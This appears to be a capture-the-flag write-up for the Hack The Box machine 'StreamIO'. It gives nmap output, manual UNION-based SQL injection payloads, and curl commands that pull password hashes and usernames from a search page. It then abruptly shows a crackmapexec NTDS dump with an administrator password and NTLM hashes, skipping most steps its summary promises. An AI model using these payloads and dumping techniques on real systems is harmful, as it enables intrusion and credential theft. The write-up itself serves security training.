StreamIO is a medium machine that covers subdomain enumeration leading to an SQL injection in order to retrieve stored user credentials, which are cracked to gain access to an administration panel. The administration panel is vulnerable to LFI, which allows us to retrieve the source code for the administration pages and leads to identifying a remote file inclusion vulnerability, the abuse of which gains us access to the system. After the initial shell we leverage the SQLCMD command line utility to enumerate databases and obtain further credentials used in lateral movement. As the secondary user we found Firefox profile contains database which can extract saved credentials from it. Using the new credentials within BloodHound we discover that the user has the ability to add themselves to a specific group in which they can read LDAP secrets. Without direct access to the account, we use PowerShell to abuse this feature and add ourselves to the `Core Staff` group, then access LDAP to disclose the administrator LAPS password.
Enumeration
Scope
IP Address: 10.10.11.158
Nmap Scan
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/StreamIO]
└─$ nmap -p- --min-rate 10000 $ip -Pn
PORT STATE SERVICE REASON
53/tcp open domain syn-ack
80/tcp open http syn-ack
88/tcp open kerberos-sec syn-ack
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
389/tcp open ldap syn-ack
443/tcp open https syn-ack
445/tcp open microsoft-ds syn-ack
464/tcp open kpasswd5 syn-ack
593/tcp open http-rpc-epmap syn-ack
3268/tcp open globalcatLDAP syn-ack
3269/tcp open globalcatLDAPssl syn-ack
5985/tcp open wsman syn-ack
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/StreamIO]
└─$ sudo nmap -sU $ip --min-rate 10000 --open -v -oN udp-scan -p1-10000
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/StreamIO]
└─$ nmap -p53,80,88,135,139,389,443,445,464,593,3268,3269,5985 -sCV $ip -Pn -oN Nmap/script-scan
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-09 09:09:22Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after: 2022-03-24T07:03:28
|_ssl-date: 2024-07-09T09:10:11+00:00; +7h00m03s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-07-09T09:09:33
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h00m02s, deviation: 0s, median: 7h00m02s
* Open ports: 53,80,88,135,139,389,443,445,464,593,3268,3269,5985
* UDP Open ports: 53,88,123,389
* Services: DNS - HTTP - HTTPS - RPC - SMB - KERBEROS - LDAP - winRM
* Versions: IIS httpd 10.0
* Important Notes: Domain: streamIO.htb - DNS:watch.streamIO.htb
Before I start enumeration process, I will update /etc/hosts with the info from Nmap script output
I looked at Wappalyzer to see what technology being used and PHP took my attention as it's not common to run php on IIS, So I attempted directory fuzzing against https://watch.streamIO.htb
I don't have any credentials, So I will return if obtained one.
https://watch.streamIO.htb/search.php
It's a search function that searches of film name in specific table which can be considered as database, and we can attempt sql injection.
When I delivered a simple payload, I get blocked by some security defences in place
blocked.php
So, I can't use SQLMap and I will continue manually.
Something interesting took my attention here. when I type a word like man it matched it from both side.
It returns Batman, Anger Management so it uses wildcard such as *Search*.
The SQL Command maybe like this
SELECT * From movies where Film_name = '*input*'
I can break the code with something like that input';--
SELECT * From movies where Film_name = '*input';-- *'
I was right and when I typed man';-- It matches only wildcard from right side as we already escape the left side
Let's Create our exploit, I tried union 1,2,... until I got a hit at union 1,2,3,4,5,6
SELECT * From movies where Film_name = '*anything' union select 1,2,3,4,5,6 -- *'
Field 2 is got triggered So I will inject command on it
So, we're dealing with MSSQL database, we can use command from this cheat sheet:
Get the use name:
Current Database:
We're on MSSQL database, So one common attack vector is that we can get the hash on current use by executing the following command. I did it but failed as I got the machine account hash and couldn't be cracked
We're already in STREAMIO, Let's explore the tables
When I provided an asterisk * it didn't return anything but when I provide username it returned list of usernames
when I provide password, it returned list of hashes, but I can't copy and paste them one by one, it's a waste of time
I looked at burp to see the HTML tag that the hashes is included in
So, I will use curl command to get a list of hashes and filter the results
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/StreamIO]
└─$ curl -k -XPOST https://watch.streamIO.htb/search.php -d "q=anything' union select 1,password,3,4,5,6 FROM users;--" | grep '<h5 class="p-2">' | awk '{print $2}' | cut -d\> -f2 | tee -a hashes.txt
<snip>
0049ac57646627b8d7aeaccf8b6a936f
08344b85b329d7efd611b7a7743e8a09
083ffae904143c4796e464dac33c1f7d
0cfaaaafb559f081df2befbe66686de0
<snip>
I will do the same thing with usernames
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/StreamIO]
└─$ curl -k -XPOST https://watch.streamIO.htb/search.php -d "q=anything' union select 1,username,3,4,5,6 FROM users;--" | grep '<h5 class="p-2">' | awk '{print $2}' | cut -d\> -f2 | tee -a users.txt
<snip>
Theodore
Victor
Victoria
William
yoshihide
Initial Access
The username list is big for brute forcing so I will try to know who is really has account on the machine by enumerating Kerberos
I found that the system has Mozilla Firefox installed, So I looked at the user Mozilla profile and I copied it to my kali machine to try decrypt the Firefox secrets and cookies
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/StreamIO]
└─$ crackmapexec smb $ip -u administrator -p 'G58E)u0@)96rU1' --ntds
SMB 10.10.11.158 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.158 445 DC [+] streamIO.htb\administrator:G58E)u0@)96rU1 (Pwn3d!)
SMB 10.10.11.158 445 DC [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 10.10.11.158 445 DC Administrator:500:aad3b435b51404eeaad3b435b51404ee:63ab0c9344ca0c42ce367de76cafec16:::
SMB 10.10.11.158 445 DC Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.11.158 445 DC krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5f5142aae3cce656285ce4504605dec1:::
SMB 10.10.11.158 445 DC JDgodd:1104:aad3b435b51404eeaad3b435b51404ee:8846130392c4169cb552fe5b73b046af:::
SMB 10.10.11.158 445 DC Martin:1105:aad3b435b51404eeaad3b435b51404ee:a9347432fb0034dd1814ca794793d377:::
SMB 10.10.11.158 445 DC nikk37:1106:aad3b435b51404eeaad3b435b51404ee:17a54d09dd09920420a6cb9b78534764:::
SMB 10.10.11.158 445 DC yoshihide:1107:aad3b435b51404eeaad3b435b51404ee:6d21f46be3697ba16b6edef7b3399bf4:::
SMB 10.10.11.158 445 DC DC$:1000:aad3b435b51404eeaad3b435b51404ee:8f92fd746817af09faa8257dfc127736:::
SMB 10.10.11.158 445 DC [+] Dumped 8 NTDS hashes to /home/kali/.cme/logs/DC_10.10.11.158_2024-07-09_083839.ntds of which 7 were added to the database
